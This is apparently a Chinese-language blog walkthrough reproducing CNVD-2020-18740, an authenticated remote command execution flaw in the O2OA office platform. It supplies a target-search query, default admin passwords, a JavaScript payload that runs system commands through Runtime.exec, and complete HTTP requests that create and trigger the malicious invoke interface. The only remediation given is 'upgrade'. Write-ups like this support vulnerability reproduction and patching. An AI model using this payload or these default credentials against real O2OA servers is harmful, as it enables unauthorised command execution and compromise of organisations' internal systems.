banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

O2OA調用後台遠程命令執行漏洞

漏洞概述#

O2OA 是一款開源免費的企業及團隊辦公平台,提供門戶管理、流程管理、信息管理、數據管理四大平台,集工作匯報、項目協作、移動 OA、文檔分享、流程審批、數據協作等眾多功能,滿足企業各類管理和協作需求。O2OA 系統 invoke 接口存在遠程代碼執行漏洞。攻擊者可利用漏洞執行任意代碼。

影響範圍#

title=="O2OA"
CNVD-2020-18740

利用流程#

docker 拉取環境

docker pull oxnme/o2oa:6.1.3

docker run --name o2server -p 80:80 -p 20010:20010 -p 20020:20020 -p 20030:20030 -d o2oa/o2server

弱口令:xadmin/o2oa@2022

環境搭建完成後,直接通過瀏覽器訪問 8001 端口,自動跳到 o2oa 登錄頁面

http://192.168.31.151:8001/x_desktop/index.html

image

輸入默認口令,xadmin/o2,即可登錄成功。

注:新版的 O2OA 默認口令是:xadmin/o2oa@2022

image

找到服務管理

image

新增接口配置

image

填入如下執行命令的內容。

var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream()));

var result = [];
while (true) {
    var oneline = bufReader.readLine();
    result.push(oneline);
    if (!oneline) break;
}
var result = { "Result": result };
this.response.setBody(result, "application/json"); 

image

也可以通過如下請求包創建接口配置。

image

請求包如下:

POST /x_program_center/jaxrs/invoke?v=6.3 HTTP/1.1
Authorization: PfyuxmzgIzrrkjVKSmRBJ4uCkH5tYmpq50QnO7mEHhA

{"id":"cmd","name":"cmd","enableToken":false,"alias":"","description":"","validated":true,"enable":true,"text":"var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\"id\").getInputStream()));\n\nvar result = [];\nwhile (true) {\n    var oneline = bufReader.readLine();\n    result.push(oneline);\n    if (!oneline) break;\n}\nvar result = { \"Result\": result };\nthis.response.setBody(result, \"application/json\"); ","remoteAddrRegex":"","createTime":"2022-08-27 04:39:18","updateTime":"2022-08-27 04:39:18"}

直接執行命令。

image

請求包如下:

POST 192.168.31.151:20030/x_program_center/jaxrs/invoke/cmd/execute
Authorization: PfyuxmzgIzrrkjVKSmRBJ4uCkH5tYmpq50QnO7mEHhA

{"id":"cmd","name":"cmd","enableToken":false,"alias":"","description":"","validated":true,"enable":true,"text":"var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\"id\").getInputStream()));\n\nvar result = [];\nwhile (true) {\n    var oneline = bufReader.readLine();\n    result.push(oneline);\n    if (!oneline) break;\n}\nvar result = { \"Result\": result };\nthis.response.setBody(result, \"application/json\"); ","remoteAddrRegex":"","createTime":"2022-08-27 04:39:18","updateTime":"2022-08-27 04:39:18"}

執行不同的命令需要創建不同的接口配置。

修復建議#

升級版本

參考#

http://wiki.peiqi.tech/wiki/oa/O2OA/O2OA%20invoke%20%E5%90%8E%E5%8F%B0%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CNVD-2020-18740.html

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。